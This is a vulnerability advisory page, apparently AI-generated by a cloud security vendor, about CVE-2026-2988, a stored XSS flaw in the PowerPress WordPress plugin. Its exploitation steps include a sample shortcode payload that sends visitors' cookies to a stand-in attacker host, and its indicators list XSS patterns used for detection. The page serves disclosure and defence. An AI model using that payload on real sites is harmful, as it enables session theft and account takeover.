CVE-2026-2988
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-2988 is a Stored Cross-Site Scripting (XSS) vulnerability in the Blubrry PowerPress Podcasting plugin for WordPress, affecting versions up to and including 11.15.15. The flaw exists in the handling of the powerpress and podcast shortcodes due to insufficient input sanitization and output escaping. It was published on April 8, 2026, with a patch made available the same day. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (GitHub Advisory, Wordfence).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is insufficient sanitization of user-supplied input passed through the powerpress and podcast WordPress shortcodes, combined with inadequate output escaping when rendering shortcode content in page output. An authenticated attacker with at minimum contributor-level WordPress access can embed malicious JavaScript within a post or page using these shortcodes; the script is then stored server-side and executes in the browser of any user who visits the affected page. The patch was committed to the WordPress plugin repository at changeset 3473781 (GitHub Advisory, WordPress Trac).

Impact

Successful exploitation allows authenticated attackers to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of any visitor's browser. Potential consequences include session cookie theft, credential harvesting, user redirection to malicious sites, content defacement, and performing unauthorized actions on behalf of victim users (including administrators). The scope is marked as Changed in CVSS, meaning the injected script can affect resources beyond the plugin's own security boundary, such as the broader WordPress site and its users (GitHub Advisory, Wordfence).

Exploitability

There is no known public proof-of-concept exploit and no evidence of active in-the-wild exploitation at this time. The vulnerability requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. The EPSS score is approximately 0.01% (2nd percentile), indicating a very low probability of exploitation in the near term. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Blubrry PowerPress plugin at version 11.15.15 or earlier. This can be done by checking the plugin's readme.txt file (e.g., /wp-content/plugins/powerpress/readme.txt) or using tools like WPScan.
  2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
  3. Create or edit a post: Navigate to the WordPress post editor and create a new post or edit an existing draft.
  4. Inject malicious shortcode: Insert a crafted shortcode payload using the vulnerable powerpress or podcast shortcode, embedding a malicious JavaScript payload, for example: [powerpress url="x" onmouseover="document.location='https://attacker.com/steal?c='+document.cookie"] or a similar attribute-based XSS vector.
  5. Publish the post: Submit the post for review or publish it (depending on role permissions). The malicious script is now stored in the WordPress database.
  6. Trigger execution: Any user (including administrators) who visits the page containing the injected shortcode will have the malicious script execute in their browser, potentially exposing session cookies or enabling further account takeover (GitHub Advisory, Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing contributor-level users creating or editing posts containing [powerpress or [podcast shortcodes with unusual attribute values (e.g., JavaScript event handlers or encoded script content).
  • Database: WordPress wp_posts table entries containing shortcode content with embedded JavaScript (e.g., <script>, javascript:, onerror=, onload=, document.cookie) within powerpress or podcast shortcode parameters.
  • Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages with PowerPress shortcodes, potentially indicating cookie exfiltration or redirect activity.
  • File System: No direct file system artifacts expected for this stored XSS; however, review plugin files for unauthorized modifications to powerpress plugin directory under /wp-content/plugins/powerpress/.

Mitigation and workarounds

Site administrators should immediately upgrade the Blubrry PowerPress plugin to a version newer than 11.15.15, as a patch was released on April 8, 2026 (changeset 3473781). As a workaround prior to patching, restrict contributor-level and above user permissions to trusted individuals only, and consider disabling the powerpress and podcast shortcodes for non-administrator roles if the plugin supports such configuration. After patching, review existing posts for any injected malicious scripts and remove them (WordPress Trac, Wordfence).

Community reactions

Wordfence, which assigned and disclosed this CVE, included it in their weekly WordPress vulnerability report for the period of April 6–12, 2026, as part of routine plugin vulnerability tracking (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability database aggregation has been observed for this moderate-severity issue.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-3174HIGH7.5
  • event-tickets
NoYesSep 08, 2026
CVE-2026-18021MEDIUM6.5
  • beaver-builder-lite-version
NoYesSep 08, 2026
CVE-2026-17509MEDIUM6.5
  • sitepress-multilingual-cms
NoYesSep 08, 2026
CVE-2026-76931MEDIUM6.4
  • zephyr-project-manager
NoYesSep 08, 2026
CVE-2026-2520MEDIUM5.4
  • bookly-responsive-appointment-booking-tool
NoYesSep 08, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management